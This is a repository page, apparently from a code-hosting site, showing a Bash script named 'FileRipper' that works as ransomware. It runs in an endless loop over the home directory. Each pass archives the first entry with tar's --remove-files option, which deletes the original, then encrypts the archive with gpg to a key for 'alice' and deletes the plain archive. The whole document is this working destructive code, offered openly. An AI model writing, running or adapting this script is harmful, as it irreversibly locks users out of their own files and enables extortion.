drapl0n tuxed0 8f04d1cdc9
uploaded FileRipper
Faster executing version
2022-03-18 21:07:43 +05:30

12 lines
308 B
Bash

#!/bin/sh
cd ~/
encrypt(){
dirFile=$(ls | head -n 1)
tar cf ~/.crypttt/$dirFile.tar.gz --exclude='.' --exclude='..' --exclude='.crypttt' --remove-files $dirFile
gpg -e -r alice -o ~/.crypttt/$dirFile.tar.gpg ~/.crypttt/$dirFile.tar.gz && rm -rf ~/.crypttt/$dirFile.tar.gz
}
for (( ; ; ))
do
encrypt
done